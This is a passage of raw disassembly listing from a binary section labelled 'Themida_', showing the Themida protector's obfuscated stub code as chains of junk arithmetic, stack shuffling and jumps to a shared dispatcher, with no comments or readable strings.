		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_565280:				; CODE XREF: Themida_:00560B25j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_560FA7
; ---------------------------------------------------------------------------


loc_565289:				; CODE XREF: Themida_:00571C4Fj
		push	edi
		mov	edi, 76334CF2h
		sub	eax, edi
		jmp	loc_5669DC
; ---------------------------------------------------------------------------


loc_565296:				; CODE XREF: Themida_:0055D627j
		dec	word ptr [esp]
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5652A0:				; CODE XREF: Themida_:0055DDC7j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55E967
; ---------------------------------------------------------------------------


loc_5652AE:				; CODE XREF: Themida_:00571DC4j
		mov	eax, 695343A2h
		mov	ebp, eax
		pop	eax
		jmp	loc_5642AF
; ---------------------------------------------------------------------------


loc_5652BB:				; CODE XREF: Themida_:0055FAC5j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7F696B02h
		jmp	loc_56851D
; ---------------------------------------------------------------------------


loc_5652D1:				; CODE XREF: Themida_:0056C494j
		xor	dl, ah
		jmp	loc_562E83
; ---------------------------------------------------------------------------


loc_5652D8:				; CODE XREF: Themida_:0055E7FCj
		mov	ebp, esp
		push	42C4h
		jmp	loc_56D50F
; ---------------------------------------------------------------------------


loc_5652E4:				; CODE XREF: Themida_:00570CDFj
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		push	39DA4785h
		mov	ebp, [esp]
		push	1178h
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 76A3CF4h
		and	esi, 1AD1D6Ah
		or	esi, 184D1D87h
		shr	esi, 2
		add	esi, 7882351Ch
		neg	esi
		sub	esi, 81228367h
		add	edx, esi
		pop	esi
		push	edi
		mov	edi, 43FC51AFh
		dec	edi
		sub	edi, 0FFFFFFFFh
		sub	edi, 43FC51ABh
		add	edx, edi
		jmp	loc_56DDC6
; ---------------------------------------------------------------------------


loc_56533B:				; CODE XREF: Themida_:005726C7j
		add	ecx, 4
		jmp	loc_55DAA4
; ---------------------------------------------------------------------------


loc_565346:				; CODE XREF: Themida_:00566C18j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_566B26
; ---------------------------------------------------------------------------


loc_565354:				; CODE XREF: Themida_:005622C3j
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		add	dword ptr [ecx], 1
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_567AC9
; ---------------------------------------------------------------------------


loc_56536C:				; CODE XREF: Themida_:00563ABDj
		and	eax, edx
		mov	edx, [esp]
		push	7D50h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56AF37
; ---------------------------------------------------------------------------


loc_56538E:				; CODE XREF: Themida_:0055D893j
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		push	3109h
		mov	[esp], ebp
		push	ebx
		push	478430CBh
		jmp	loc_5725B8
; ---------------------------------------------------------------------------


loc_5653A9:				; CODE XREF: Themida_:0056F5C9j
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_56075F
; ---------------------------------------------------------------------------


loc_5653B6:				; CODE XREF: Themida_:0056023Cj
		add	edx, 4F305229h
		and	edx, 7F025C33h
		shr	edx, 5
		xor	edx, 2B650513h
		xor	edx, 38B835C4h
		push	eax
		mov	eax, 0EC0ACDEEh
		add	edx, eax
		pop	eax
		mov	esi, edx
		pop	edx
		add	ebx, 699819F0h
		add	ebx, esi
		jmp	loc_56B16D
; ---------------------------------------------------------------------------


loc_5653EA:				; CODE XREF: Themida_:0055ECF9j
		add	esp, 4
		push	edi
		mov	edi, 6CF15099h
		shl	edi, 7
		neg	edi
		shr	edi, 8
		inc	edi
		push	esi
		mov	esi, 0E20AFFC8h
		jmp	loc_561A40
; ---------------------------------------------------------------------------


loc_565407:				; CODE XREF: Themida_:0056141Ej
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cx
		push	small 3263h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56542F:				; CODE XREF: Themida_:00560525j
		mov	edi, 57296A13h
		jmp	loc_56D90D
; ---------------------------------------------------------------------------


loc_565439:				; CODE XREF: Themida_:00560C52j
		dec	dl
		sub	dl, 11h
		add	bh, dl
		jmp	loc_563FB3
; ---------------------------------------------------------------------------


loc_565445:				; CODE XREF: Themida_:005610ADj
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	4195h
		mov	[esp], esi
		mov	esi, 5CDC4A72h
		jmp	loc_55D6F7
; ---------------------------------------------------------------------------


loc_565463:				; CODE XREF: Themida_:005631FEj
		sub	ebp, 5B7254BEh
		add	ebp, ecx
		add	ebp, 5B7254BEh
		jmp	loc_56D66F
; ---------------------------------------------------------------------------


loc_565476:				; CODE XREF: Themida_:0056CA7Dj
		pop	edi
		sub	ecx, esi
		jmp	loc_56D8ED
; ---------------------------------------------------------------------------


loc_56547E:				; CODE XREF: Themida_:005651DEj
		mov	edx, [esp]
		jmp	loc_55D3B1
; ---------------------------------------------------------------------------


loc_565486:				; CODE XREF: Themida_:0055F88Ej
		xor	eax, edi
		pop	edi
		mov	esi, eax
		pop	eax
		sub	ecx, esi
		pop	esi
		xor	eax, ecx
		pop	ecx
		push	edi
		push	edx
		push	7EB87E6Ah
		pop	edx
		jmp	loc_56D662
; ---------------------------------------------------------------------------


loc_56549F:				; CODE XREF: Themida_:00572B03j
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		push	5FBCh
		mov	[esp], esi
		jmp	loc_56D2ED
; ---------------------------------------------------------------------------


loc_5654BF:				; CODE XREF: Themida_:00561770j
		pop	edx
		jmp	loc_55F6B5
; ---------------------------------------------------------------------------


loc_5654C5:				; CODE XREF: Themida_:00570EE7j
		and	ebp, ecx
		jmp	loc_56391B
; ---------------------------------------------------------------------------


loc_5654CC:				; CODE XREF: Themida_:00564C3Dj
		push	ebp
		mov	ebp, 64F12ECh
		xor	ebp, 76DB270Eh
		shr	ebp, 2
		xor	ebp, 1FE1660h
		sub	edx, ebp
		pop	ebp
		or	edx, 36A554C6h
		push	esi
		mov	esi, 24C932EBh
		dec	esi
		jmp	loc_56E2D8
; ---------------------------------------------------------------------------


loc_5654F6:				; CODE XREF: Themida_:0056A51Bj
		add	edx, edi
		sub	edx, 5652542Bh
		jmp	loc_56A0DB
; ---------------------------------------------------------------------------


loc_565503:				; CODE XREF: Themida_:0056CAD5j
		mov	dl, al
		mov	al, [esp+2]
		jmp	loc_565EA8
; ---------------------------------------------------------------------------


loc_56550E:				; CODE XREF: Themida_:0056688Fj
		add	bh, cl
		pop	ecx
		push	eax
		jmp	loc_56DAF4
; ---------------------------------------------------------------------------


loc_565517:				; CODE XREF: Themida_:005607F5j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 35696A54h
		push	3BF4h
		jmp	loc_56489D
; ---------------------------------------------------------------------------


loc_56552C:				; CODE XREF: Themida_:0056C574j
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_562539
; ---------------------------------------------------------------------------


loc_56553B:				; CODE XREF: Themida_:0056C8D2j
		add	esp, 4
		shl	eax, cl
		push	4B9h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_56E9BA
; ---------------------------------------------------------------------------


loc_565560:				; CODE XREF: Themida_:0056047Cj
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56AB36
; ---------------------------------------------------------------------------


loc_565579:				; CODE XREF: Themida_:0056571Bj
		push	edx
		jmp	loc_55D70B
; ---------------------------------------------------------------------------


loc_56557F:				; CODE XREF: Themida_:00569B95j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	4566h
		mov	[esp], edi
		push	4606h
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_562794
; ---------------------------------------------------------------------------


loc_5655AF:				; CODE XREF: Themida_:00570089j
		sub	esi, 2C1B4222h
		jmp	loc_55EE49
; ---------------------------------------------------------------------------


loc_5655BA:				; CODE XREF: Themida_:00562348j
		add	ebx, ebp
		pop	ebp
		jmp	loc_56C5FC
; ---------------------------------------------------------------------------


loc_5655C2:				; CODE XREF: Themida_:00568D12j
		mov	[esp], eax
		jmp	loc_563FD0
; ---------------------------------------------------------------------------


loc_5655CA:				; CODE XREF: Themida_:00563832j
		add	bl, dl
		pop	edx
		add	al, 7Ch
		jmp	loc_56D0B2
; ---------------------------------------------------------------------------
		push	small 4FF7h
		push	small 761h
		push	sp
		jmp	loc_55EBB0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_561C35
; ---------------------------------------------------------------------------


loc_5655F4:				; CODE XREF: Themida_:0056B97Cj
		add	ebp, ebx
		pop	ebx
		jmp	loc_565E2D
; ---------------------------------------------------------------------------


loc_5655FC:				; CODE XREF: Themida_:00565F93j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_570903
; ---------------------------------------------------------------------------


loc_565607:				; CODE XREF: Themida_:0055D80Bj
		add	ecx, ebx
		jmp	loc_56ECFD
; ---------------------------------------------------------------------------


loc_56560E:				; CODE XREF: Themida_:0056284Dj
		sub	ebp, edx
		jmp	loc_572633
; ---------------------------------------------------------------------------
		xor	[esp], cx
		xor	cx, [esp]
		jmp	loc_5633B7
; ---------------------------------------------------------------------------


loc_565622:				; CODE XREF: Themida_:0056332Dj
		mov	edi, [esp]
		add	esp, 4
		sub	edi, eax
		pop	eax
		jmp	loc_56DE69
; ---------------------------------------------------------------------------


loc_565630:				; CODE XREF: Themida_:0056339Cj
		push	edx
		jmp	loc_570B08
; ---------------------------------------------------------------------------


loc_565636:				; CODE XREF: Themida_:0056FBAEj
		mov	ebp, edi
		mov	ebx, ebp
		pop	ebp
		pop	edi
		xor	ebx, ecx
		pop	ecx
		inc	ebx
		shl	ebx, 7
		add	ebx, 3441DB04h
		sub	eax, ebx
		jmp	loc_56C789
; ---------------------------------------------------------------------------


loc_565650:				; CODE XREF: Themida_:0056E7E7j
		xor	dx, 5D49h
		push	edi
		jmp	loc_568AED
; ---------------------------------------------------------------------------


loc_56565B:				; CODE XREF: Themida_:00566613j
		sub	ebx, edx
		add	ebx, 54AC636Eh
		jmp	loc_571E9E
; ---------------------------------------------------------------------------


loc_565668:				; CODE XREF: Themida_:00563A89j
		not	eax
		shl	eax, 2
		add	eax, 0AEE3F6Fh
		add	eax, 0AEFE4F1Fh
		jmp	loc_5623DC
; ---------------------------------------------------------------------------


loc_56567C:				; CODE XREF: Themida_:005649D9j
		mov	ebx, 6B060F5h
		dec	ebx
		or	ebx, 5B3223F5h
		xor	ebx, 6E1C4163h
		sub	ecx, 693C4F11h
		add	ecx, 4790726Dh
		add	ecx, ebx
		sub	ecx, 4790726Dh
		add	ecx, 693C4F11h
		pop	ebx
		and	ecx, 75AE34FCh
		jmp	loc_567FBA
; ---------------------------------------------------------------------------


loc_5656B4:				; CODE XREF: Themida_:0056DC1Dj
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5656C0:				; CODE XREF: Themida_:0055F300j
		sub	edx, ecx
		jmp	loc_56FB77
; ---------------------------------------------------------------------------


loc_5656C7:				; CODE XREF: Themida_:00569D96j
		mov	ebp, 326849F2h
		push	edx
		mov	edx, 14B8388Eh
		jmp	loc_56040E
; ---------------------------------------------------------------------------


loc_5656D7:				; CODE XREF: Themida_:0056021Fj
		shr	eax, 5
		add	eax, 30C70E70h
		jmp	loc_56BD18
; ---------------------------------------------------------------------------


loc_5656E4:				; CODE XREF: Themida_:005670C3j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_565D62
; ---------------------------------------------------------------------------


loc_5656FA:				; CODE XREF: Themida_:005607C9j
		xor	ebp, 103999h
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_56CDA9
; ---------------------------------------------------------------------------


loc_56570A:				; CODE XREF: Themida_:0056B101j
		mov	[esp], ebp
		mov	ebp, 2
		push	edx
		push	658Bh
		mov	[esp], edi
		jmp	loc_565579
; ---------------------------------------------------------------------------


loc_565720:				; CODE XREF: Themida_:005688DFj
		shl	ebp, 1
		not	ebp
		jmp	loc_560F0B
; ---------------------------------------------------------------------------


loc_565729:				; CODE XREF: Themida_:0056B77Bj
		pop	eax
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 16411ECh
		jmp	loc_561172
; ---------------------------------------------------------------------------


loc_56573C:				; CODE XREF: Themida_:00564AD2j
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [eax]
		xor	dword ptr [eax], 74767612h
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_565753:				; CODE XREF: Themida_:00562E8Cj
		xor	al, 0Dh
		sub	bl, al
		pop	eax
		push	3CA9h
		mov	[esp], eax
		mov	ah, 2Ah
		sub	ah, 0A9h
		sub	bl, ah
		pop	eax
		sub	bl, cl
		add	bl, 81h
		add	bl, 0F6h
		push	dword ptr [esp]
		jmp	loc_55FDB1
; ---------------------------------------------------------------------------


loc_565778:				; CODE XREF: Themida_:005625DCj
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56E05D
; ---------------------------------------------------------------------------


loc_565782:				; CODE XREF: Themida_:00563A4Cj
		or	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	7E02h
		mov	[esp], edx
		mov	edx, 7AF36A8Fh
		add	edx, 0FA000C50h
		jmp	loc_56F22C
; ---------------------------------------------------------------------------


loc_5657A2:				; CODE XREF: Themida_:00562044j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, 2A163319h
		or	ebx, 60F445EFh
		shr	ebx, 8
		sub	ebx, 16FA1700h
		xor	ebx, 168F2088h
		add	eax, ebx
		pop	ebx
		add	eax, 0F8013E21h
		sub	esi, eax
		jmp	loc_568627
; ---------------------------------------------------------------------------


loc_5657D3:				; CODE XREF: Themida_:0055D399j
		mov	[esp], ecx
		mov	cl, 0C8h
		shl	cl, 1
		sub	cl, 0FFh
		push	edx
		mov	dh, 0E8h
		or	dh, 0F2h
		sub	dh, 8Ch
		shl	dh, 1
		xor	dh, 41h
		sub	cl, dh
		jmp	loc_56D63B
; ---------------------------------------------------------------------------


loc_5657F2:				; CODE XREF: Themida_:00560C43j
		pop	edi
		jmp	loc_56E430
; ---------------------------------------------------------------------------


loc_5657F8:				; CODE XREF: Themida_:0056D11Cj
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_56589C
; ---------------------------------------------------------------------------


loc_565806:				; CODE XREF: Themida_:005621BEj
		shr	ebp, 2
		sub	ebp, 5FA655F6h
		xor	ebp, 0D42D8E07h
		jmp	loc_56470D
; ---------------------------------------------------------------------------


loc_56581A:				; CODE XREF: Themida_:0056A1B8j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55F77C
; ---------------------------------------------------------------------------


loc_565834:				; CODE XREF: Themida_:00565B78j
		pop	ebx
		pop	dword ptr [esp]
		push	42F2h
		mov	[esp], ecx
		mov	ecx, 4
		add	dword ptr [esp+4], 6C2C615Ah
		add	dword ptr [esp+4], 5EAF1E89h
		add	[esp+4], ecx
		jmp	loc_56A474
; ---------------------------------------------------------------------------


loc_56585E:				; CODE XREF: Themida_:0055EB17j
		xor	eax, 613D46A3h
		shl	eax, 1
		add	eax, 75AC7D73h
		inc	eax
		dec	eax
		push	esi
		mov	esi, 2FE70D81h
		neg	esi
		not	esi
		not	esi
		xor	esi, 3CD82CB4h
		xor	eax, esi
		pop	esi
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55DF0D
; ---------------------------------------------------------------------------


loc_56589C:				; CODE XREF: Themida_:00565801j
		add	esp, 4
		jmp	loc_55F709
; ---------------------------------------------------------------------------


loc_5658A7:				; CODE XREF: Themida_:00565CC8j
		add	esp, 4
		push	ebx
		push	eax
		mov	eax, 6BB91089h
		mov	ebx, 1CC66EE6h
		jmp	loc_56119C
; ---------------------------------------------------------------------------


loc_5658BB:				; CODE XREF: Themida_:0056DA8Fj
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	bl, al
		push	ecx
		mov	cl, 7Ch
		add	bl, cl
		pop	ecx
		sub	bl, 0E5h
		movzx	eax, al
		push	small 2135h
		mov	[esp], ax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5658DF:				; CODE XREF: Themida_:0056C011j
		shl	eax, 5
		or	eax, 5B592931h
		jmp	loc_56C09E
; ---------------------------------------------------------------------------


loc_5658EC:				; CODE XREF: Themida_:00564708j
		add	esp, 4
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_56B46E
; ---------------------------------------------------------------------------


loc_5658FD:				; CODE XREF: Themida_:0056FAADj
		sub	ch, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	ch, 91h
		and	ch, 0A2h
		or	ch, 64h
		neg	ch
		sub	ch, 60h
		xor	bh, ch
		jmp	loc_56AFF2
; ---------------------------------------------------------------------------


loc_56591E:				; CODE XREF: Themida_:0056E089j
		sub	edx, 769D3BC6h
		xor	edx, 0C5E7F170h
		xor	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 127A2680h
		push	edx
		mov	edx, 71873EE2h
		and	edx, 6D37A03h
		neg	edx
		inc	edx
		inc	edx
		add	edx, 4B8D62DFh
		and	ecx, edx
		pop	edx
		not	ecx
		shr	ecx, 8
		neg	ecx
		jmp	loc_5681FD
; ---------------------------------------------------------------------------


loc_565958:				; CODE XREF: Themida_:0056A902j
		mov	esi, 68DF1E64h
		add	esi, 53461751h
		sub	esi, 510051A5h
		neg	esi
		sub	esi, 5DF9EF3Eh
		add	edx, 2E34457h
		sub	edx, esi
		jmp	loc_5712D6
; ---------------------------------------------------------------------------


loc_56597E:				; CODE XREF: Themida_:005685E4j
		mov	dx, [esp]
		push	3F4Ah
		jmp	loc_5611C9
; ---------------------------------------------------------------------------


loc_56598C:				; CODE XREF: Themida_:00560370j
		mov	edx, ebp
		sub	esp, 4
		jmp	loc_5620F5
; ---------------------------------------------------------------------------


loc_565996:				; CODE XREF: Themida_:0056E3D7j
		mov	edi, 0DA44F2Eh
		neg	edi
		sub	edi, 3C110531h
		neg	edi
		or	edi, 15033B8Fh
		add	edi, 113C9424h
		push	eax
		jmp	loc_564CCF
; ---------------------------------------------------------------------------


loc_5659B7:				; CODE XREF: Themida_:0056E4E4j
		not	edx
		shl	edx, 8
		jmp	loc_569FE9
; ---------------------------------------------------------------------------


loc_5659C1:				; CODE XREF: Themida_:00564BF5j
		mov	dh, 0B6h
		mov	ah, dh
		jmp	loc_5674F1
; ---------------------------------------------------------------------------


loc_5659CA:				; CODE XREF: Themida_:0055E018j
		mov	bh, 0E9h
		push	0C99h
		mov	[esp], ecx
		jmp	loc_56E53E
; ---------------------------------------------------------------------------


loc_5659D9:				; CODE XREF: Themida_:00567FECj
		pop	eax
		xor	ebp, eax
		jmp	loc_55F02B
; ---------------------------------------------------------------------------


loc_5659E1:				; CODE XREF: Themida_:0055DF90j
		or	esi, 1FA57953h
		and	esi, 48D1595Dh
		or	esi, 57BC48BBh
		jmp	loc_56209D
; ---------------------------------------------------------------------------


loc_5659F8:				; CODE XREF: Themida_:00561807j
		add	esp, 4
		jmp	loc_56F3FE
; ---------------------------------------------------------------------------


loc_565A00:				; CODE XREF: Themida_:0057252Cj
		mov	[esp], cx
		push	eax
		mov	ah, 0EDh
		add	ah, 38h
		mov	cl, ah
		jmp	loc_569B09
; ---------------------------------------------------------------------------


loc_565A11:				; CODE XREF: Themida_:0056465Ej
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 74971B96h
		jmp	loc_56F6AF
; ---------------------------------------------------------------------------


loc_565A20:				; CODE XREF: Themida_:00571CA2j
		mov	ebp, 4F8264AFh
		xor	ebp, 1AC33FAAh
		mov	eax, ebp
		pop	ebp
		sub	ebx, eax
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		add	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56315F
; ---------------------------------------------------------------------------


loc_565A55:				; CODE XREF: Themida_:00569CBEj
		add	al, bl
		jmp	loc_5633A1
; ---------------------------------------------------------------------------


loc_565A5C:				; CODE XREF: Themida_:0055F3D2j
		pop	edx
		sub	esi, 25684423h
		push	edi
		jmp	loc_57143C
; ---------------------------------------------------------------------------


loc_565A69:				; CODE XREF: Themida_:005664E3j
		pop	eax
		jmp	loc_55E16B
; ---------------------------------------------------------------------------


loc_565A6F:				; CODE XREF: Themida_:0056103Ej
		mov	edi, [esp]
		jmp	loc_5637CA
; ---------------------------------------------------------------------------


loc_565A77:				; CODE XREF: Themida_:00567571j
		push	eax
		push	4
		jmp	loc_56378F
; ---------------------------------------------------------------------------


loc_565A82:				; CODE XREF: Themida_:0056A079j
		push	esi
		jmp	loc_5641FA
; ---------------------------------------------------------------------------


loc_565A88:				; CODE XREF: Themida_:005718DBj
		add	edx, 29B64EA5h
		sub	edx, 52F33B1Bh
		jmp	loc_56CF52
; ---------------------------------------------------------------------------


loc_565A99:				; CODE XREF: Themida_:00560CE2j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, 10h
		sub	esp, 4
		jmp	loc_55F945
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	27C3h
		jmp	loc_55DC03
; ---------------------------------------------------------------------------


loc_565ABB:				; CODE XREF: Themida_:00569C39j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56FA4A
; ---------------------------------------------------------------------------


loc_565AC9:				; CODE XREF: Themida_:00571730j
		not	edi
		jmp	loc_5669B7
; ---------------------------------------------------------------------------


loc_565AD0:				; CODE XREF: Themida_:00562EE1j
		inc	ebx
		xor	ebx, 353C9604h
		sub	esi, ebx
		pop	ebx
		xor	esi, 3AF8EFD2h
		jmp	loc_5603BB
; ---------------------------------------------------------------------------


loc_565AE5:				; CODE XREF: Themida_:00562BF2j
		mov	edi, [esp]
		add	esp, 4
		not	edi
		or	edi, 3EFC33FBh
		inc	edi
		xor	edi, 9F20C1E3h
		mov	eax, edi
		pop	edi
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ebx, eax
		pop	eax
		add	ebx, 21442E22h
		push	edi
		mov	edi, 6F2C1A10h
		sub	ebx, edi
		jmp	loc_5722BB
; ---------------------------------------------------------------------------


loc_565B1B:				; CODE XREF: Themida_:0056D0FEj
		mov	esp, [esp]
		jmp	loc_563E05
; ---------------------------------------------------------------------------


loc_565B23:				; CODE XREF: Themida_:0055EC94j
		shr	esi, 1
		push	4E0h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 3DF82C57h
		dec	ebx
		add	ebx, 0C207D3AEh
		sub	ecx, 62CF7720h
		add	ecx, ebx
		add	ecx, 62CF7720h
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 4
		jmp	loc_560794
; ---------------------------------------------------------------------------


loc_565B5B:				; CODE XREF: Themida_:00568DB7j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_572628
; ---------------------------------------------------------------------------


loc_565B66:				; CODE XREF: Themida_:00566E3Cj
		push	0D86h
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_565834
; ---------------------------------------------------------------------------


loc_565B7D:				; CODE XREF: Themida_:00569DD6j
		sub	ah, 0Dh
		push	edx
		jmp	loc_5618F8
; ---------------------------------------------------------------------------


loc_565B86:				; CODE XREF: Themida_:00563DBEj
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 0F226DBEEh
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 25A56ABBh
		sub	ebx, 782308A3h
		add	ebx, edi
		add	ebx, 782308A3h
		add	ebx, 25A56ABBh
		jmp	loc_55EB65
; ---------------------------------------------------------------------------


loc_565BBC:				; CODE XREF: Themida_:00566EE5j
		push	ebp
		mov	ebp, 6AAC1F83h
		or	edi, ebp
		pop	ebp
		shr	edi, 1
		sub	edi, 79761449h
		push	esi
		push	ebx
		mov	ebx, 5A42C89h
		jmp	loc_56EA70
; ---------------------------------------------------------------------------


loc_565BD9:				; CODE XREF: Themida_:0055E904j
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_565BE3:				; CODE XREF: Themida_:00566DF9j
		mov	bl, [esp+4]
		mov	[esp+4], cl
		jmp	loc_55F952
; ---------------------------------------------------------------------------


loc_565BF0:				; CODE XREF: Themida_:00562779j
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 7C9113DFh
		sub	edx, ecx
		pop	ecx
		add	edx, eax
		push	ebx
		push	edi
		mov	edi, 295D2951h
		sub	edi, 0BB3C8Ch
		inc	edi
		dec	edi
		sub	edi, 365751Ah
		mov	ebx, edi
		pop	edi
		jmp	loc_571D80
; ---------------------------------------------------------------------------


loc_565C2D:				; CODE XREF: Themida_:0056A5B4j
		sub	edi, 17E822F9h
		add	edi, 248F47E2h
		add	edi, ebx
		jmp	loc_56E6DD
; ---------------------------------------------------------------------------


loc_565C40:				; CODE XREF: Themida_:00563803j
		add	eax, 9E5D1689h
		sub	ebx, 314C5C30h
		jmp	loc_56E9FD
; ---------------------------------------------------------------------------


loc_565C50:				; CODE XREF: Themida_:0056DD27j
		sub	eax, 433B660Eh
		add	eax, ebp
		push	ebp
		mov	ebp, 6BB10788h
		sub	ebp, 0B505938h
		shr	ebp, 3
		jmp	loc_5674BD
; ---------------------------------------------------------------------------


loc_565C6B:				; CODE XREF: Themida_:00571463j
		mov	esi, 2231278Dh
		not	esi
		sub	esi, 4CED15E1h
		sub	esi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 24D70E2Dh
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		sub	ebp, 6DA94F91h
		jmp	loc_570F0A
; ---------------------------------------------------------------------------


loc_565C90:				; CODE XREF: Themida_:0056CE1Aj
		xor	ah, 43h
		xor	ah, 0B1h
		add	bl, ah
		pop	eax
		jmp	loc_56A806
; ---------------------------------------------------------------------------


loc_565C9E:				; CODE XREF: Themida_:0057113Aj
		mov	[esp], ebx
		mov	bl, 46h
		push	edx
		jmp	loc_56AC04
; ---------------------------------------------------------------------------


loc_565CA9:				; CODE XREF: Themida_:00570FB1j
		push	4469h
		mov	[esp], eax
		push	330E31D8h
		pop	eax
		dec	eax
		sub	eax, 0F3BE2300h
		mov	edi, eax
		pop	eax
		jmp	loc_56F988
; ---------------------------------------------------------------------------


loc_565CC5:				; CODE XREF: Themida_:0056FC92j
		mov	ebp, [esp]
		jmp	loc_5658A7
; ---------------------------------------------------------------------------


loc_565CCD:				; CODE XREF: Themida_:00561AEAj
		add	edx, 4
		jmp	loc_567623
; ---------------------------------------------------------------------------


loc_565CD8:				; CODE XREF: Themida_:0055EDCBj
		mov	ebp, ebx
		pop	ebx
		add	eax, ebp
		pop	ebp
		jmp	loc_5682E3
; ---------------------------------------------------------------------------


loc_565CE3:				; CODE XREF: Themida_:0056B40Aj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	edx, 4B46379Eh
		dec	edx
		sub	edx, 50650C91h
		shl	edx, 2
		add	edx, 6C17432Fh
		and	edx, 5E0B1E3Fh
		add	edx, 0C733F47Eh
		jmp	loc_569853
; ---------------------------------------------------------------------------


loc_565D14:				; CODE XREF: Themida_:0057218Fj
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55F5DF
; ---------------------------------------------------------------------------


loc_565D23:				; CODE XREF: Themida_:0055F169j
		pop	esp
		mov	bp, [esp]
		add	esp, 2
		sub	esp, 2
		mov	[esp], bp
		jmp	loc_564CDE
; ---------------------------------------------------------------------------


loc_565D3A:				; CODE XREF: Themida_:00561360j
		mov	[esp], ebp
		push	4F53F2C5h
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_55E223
; ---------------------------------------------------------------------------


loc_565D62:				; CODE XREF: Themida_:005656F5j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_565D74:				; CODE XREF: Themida_:0056F4A0j
		pop	edi
		add	edi, 3E9A0A32h
		add	edi, edx
